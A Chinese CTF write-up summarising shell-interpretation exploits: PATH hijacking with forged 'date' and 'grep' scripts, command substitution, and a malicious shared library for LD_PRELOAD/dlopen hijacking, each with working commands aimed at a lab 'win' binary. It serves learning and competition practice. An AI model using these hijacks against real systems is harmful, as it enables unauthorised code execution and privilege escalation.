Shell Interpretation(Shell 解释执行)
CTF 思路总结:Shell Interpretation(Shell 解释执行)
在 CTF 竞赛中,利用 shell 解释执行漏洞或特性可以绕过限制、提升权限或劫持执行流,以下是几个相关的利用思路:
1. PATH 劫持
示例:
echo '#!/bin/bash' > /tmp/date
echo '/usr/local/bin/win' >> /tmp/date
chmod +x /tmp/date
export PATH=/tmp:$PATH
/usr/local/bin/get_time
思路:
- 目标程序
/usr/local/bin/get_time可能会在执行date命令。 - 通过创建一个伪造的
date可执行文件 (/tmp/date),并在其中执行目标程序/usr/local/bin/win。 - 通过修改
PATH变量,让 shell 优先在/tmp目录查找date,从而执行我们伪造的date,触发/usr/local/bin/win。
总结:
- 劫持 PATH 变量:利用
PATH变量的搜索顺序,替换系统命令执行恶意代码。 - 伪造系统命令:构造与原命令同名的恶意脚本,使其在程序调用时被执行。
2. 命令替换
示例:
lo "$(/usr/local/bin/win)"
思路:
$()是命令替换,会先执行/usr/local/bin/win,然后将其输出作为参数传递给lo。- 如果
lo这个程序不验证输入,就可以间接执行/usr/local/bin/win。
总结:
- 利用 shell 解释器的命令替换:
$()或`command`语法可以让 shell 先执行内部命令并将结果替换到命令行中。 - 适用于未正确处理参数的程序,如
system()、exec()直接解析字符串的情况。
3. PATH 劫持(利用 grep)
示例:
echo '#!/bin/bash' > /tmp/grep
echo '/usr/local/bin/win' >> /tmp/grep
chmod +x /tmp/grep
export PATH=/tmp:$PATH
moon(with duplicate keys)
思路:
- 目标程序可能会调用
grep,但没有指定完整路径。 - 通过
PATH劫持,让 shell 先执行我们伪造的/tmp/grep,触发/usr/local/bin/win。
总结:
- 与第一个示例类似,但针对不同的命令,说明
PATH劫持可以用来替换任何系统命令。 - 适用于程序内部调用
system("grep ...")或execvp("grep", args)这种未指定绝对路径的情况。
4. 动态链接劫持(LD_PRELOAD / Shared Library Injection)
示例(C 代码):
#include <stdlib.h>
#include <unistd.h>
const char* generate(void *handle) {
system("/usr/local/bin/win");
return "Shell opened!";
}
编译并生成共享库:
gcc -shared -fPIC -o libpub.so fake_lib.c
思路:
- 某些程序可能会使用
dlopen()或LD_PRELOAD加载动态库 (.so文件)。 - 伪造一个动态库
libpub.so,在generate()之类的函数中执行/usr/local/bin/win。 - 如果目标程序不安全地加载动态库(如通过
LD_LIBRARY_PATH查找),我们可以利用该特性劫持执行流。
总结:
- 利用
LD_PRELOAD劫持系统函数:让程序在运行时加载恶意so库。 - 适用于动态库调用的漏洞,例如程序使用
dlopen()动态加载用户提供的库。
总结
| 方法 | 利用点 | 攻击方式 | 适用场景 |
|---|---|---|---|
PATH 劫持 |
程序调用未指定路径的命令 | 伪造同名可执行文件 | system("command"),execvp("command", args) |
| 命令替换 | $(command) 解析 |
在参数中嵌入恶意命令 | 参数解析漏洞,如 system(input) |
LD_PRELOAD 劫持 |
动态链接库加载 | 伪造 .so 文件,注入恶意代码 |
LD_PRELOAD,dlopen() |
这些技巧主要针对 shell 解释执行的特性,利用不安全的命令调用或环境变量劫持,使程序执行任意代码,最终获得目标权限。
To the Moon
这个bonus太有意思了,所以就做了。可以显示ascii字符
我觉得最重要的就是对于reverse的题目,不要局限于远程低权限环境,考虑在本机复刻远程环境。然后通过ltrace来查看发生了什么,什么东西没有复刻好,那么就把它填补好空缺。
作个纪念,hacker84给ssy的礼物
https://www.khoury.northeastern.edu/home/kaan/lunarcry.html

浙公网安备 33010602011771号